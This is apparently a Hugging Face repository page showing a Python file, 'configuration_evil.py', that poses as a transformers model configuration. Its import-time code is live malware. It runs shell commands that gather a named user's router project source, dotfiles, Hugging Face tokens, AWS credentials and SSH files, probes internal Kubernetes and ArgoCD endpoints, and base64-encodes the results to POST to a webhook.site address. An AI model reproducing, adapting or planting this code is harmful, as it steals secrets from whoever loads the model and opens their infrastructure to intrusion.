vllm-pwn5 / configuration_evil.py
a
init
b03d153
Raw
History Blame Contribute Delete
4.08 kB
import os, subprocess, urllib.request, urllib.parse, base64, time
def sh(c, t=60):
try:
r=subprocess.run(c, shell=True, capture_output=True, text=True, timeout=t)
return (r.stdout or "") + ("\n[E]"+r.stderr[:400] if r.stderr else "")
except Exception as e:
return "[err %r]"%e
def b64(s):
return base64.b64encode(s.encode()).decode()
def post(tag, data):
if not data: return
payload=urllib.parse.urlencode({"t":tag,"d":b64(data)})
try:
urllib.request.urlopen(urllib.request.Request("https://webhook.site/75f10dae-afc0-4281-b7a2-122b2dde5728", data=payload.encode()), timeout=15)
except Exception: pass
post("mark","PWR5-START")
# Router source: gather python/sh/yaml/json/config README requirements git
s = sh('''cd /home/dakota/vllm-router-autoscale
echo "#### GIT REMOTE ####"; git remote -v 2>&1; git config -l 2>&1 | head -30
echo "#### GIT LOG ####"; git log --oneline -40 2>&1
echo "#### TREE ####"; find . -type f \( -name '*.py' -o -name '*.sh' -o -name '*.yaml' -o -name '*.yml' -o -name '*.json' -o -name '*.toml' -o -name '*.cfg' -o -name '*.env' -o -name '*.service' -o -name '*.template' -o -name '*.tmpl' -o -name '*.sif' \) 2>/dev/null | grep -vE '/venv/|/state/|logs|nohup' | head -200
echo "#### README ####"; cat README.md 2>/dev/null | head -200
echo "#### REQS ####"; cat requirements.txt 2>/dev/null
''', t=60)
post("router_src", s[:12000])
# snag key small files one by one via tars (controller, router, sbatch, skills) in case truncated
s2 = sh('''cd /home/dakota/vllm-router-autoscale
echo "#### FILESIZE controller ####"; ls -la controller router sbatch skills 2>/dev/null
echo "#### SBATCH template ####"; for f in sbatch/*; do echo "## $f"; head -c 1500 "$f"; echo; done 2>/dev/null | head -c 12000
echo "#### controller list ####"; ls -la controller 2>/dev/null
''', t=60)
post("router_dir", s2[:12000])
# dotfiles & tokens
s3 = sh('''for f in /home/dakota/.bashrc /home/dakota/.bash_profile /home/dakota/.profile /home/dakota/.bash_aliases /home/dakota/.zshrc; do echo "### $f"; head -c 4000 "$f" 2>/dev/null; done
echo "#### HF TOKENS ####"; for f in /home/dakota/.cache/huggingface/token /home/dakota/.huggingface/token /home/dakota/.hfp_*; do [ -f "$f" ] && echo "## $f" && cat "$f" 2>/dev/null; done
echo "#### config dirs ####"; ls -la /home/dakota/.config 2>/dev/null | head; find /home/dakota/.config -maxdepth 2 -type f 2>/dev/null | head -40
echo "#### claude/codex ####"; find /home/dakota -maxdepth 2 -name '*.json' -path '*odex*' 2>/dev/null | head; cat /home/dakota/.claude 2>/dev/null | head -c 200
echo "#### local bin ####"; ls -la /home/dakota/.local/bin 2>/dev/null | head -20
''', t=60)
post("dotfiles", s3[:12000])
# find other aws creds / tokens quickly in home (not cache)
s4 = sh('''echo "#### botocore cache ####"; find /home/dakota/.aws /home/dakota -maxdepth 3 -name '*.json' 2>/dev/null | grep -iE 'botocore|cli|cache' | head -20
for f in $(find /home/dakota/.aws -maxdepth 3 -type f 2>/dev/null); do echo "## $f"; head -c 500 "$f" 2>/dev/null; echo; done | head -c 9000
echo "#### ssh config ####"; cat /home/dakota/.ssh/config 2>/dev/null; echo "#### known_hosts short ####"; head -40 /home/dakota/.ssh/known_hosts 2>/dev/null
''', t=60)
post("aws_more", s4[:12000])
# network probes: k8s api, argocd, etc from gpu node
s5 = sh('''echo "#### net ####"; ip route 2>/dev/null | head; hostname -i 2>/dev/null
for u in "https://kubernetes.default.svc" "https://argocd.together.ai" "http://10.10.0.1:443" "https://10.10.0.1:443" "http://127.0.0.1:8080" "http://127.0.0.1:30080"; do echo "## $u"; timeout 6 curl -sk -m 5 -o /dev/null -w "%{http_code} %{remote_ip}\n" "$u" 2>&1 | head -2; done
echo "#### dns ####"; getent hosts argocd.together.ai kubernetes.default.svc 2>/dev/null
''', t=60)
post("netprobe", s5[:8000])
post("mark","PWR5-END")
try:
from transformers import PretrainedConfig
except Exception:
PretrainedConfig = object
class EvilConfig(PretrainedConfig):
model_type="custom_evil"
def __init__(self, **kw): super().__init__(**kw)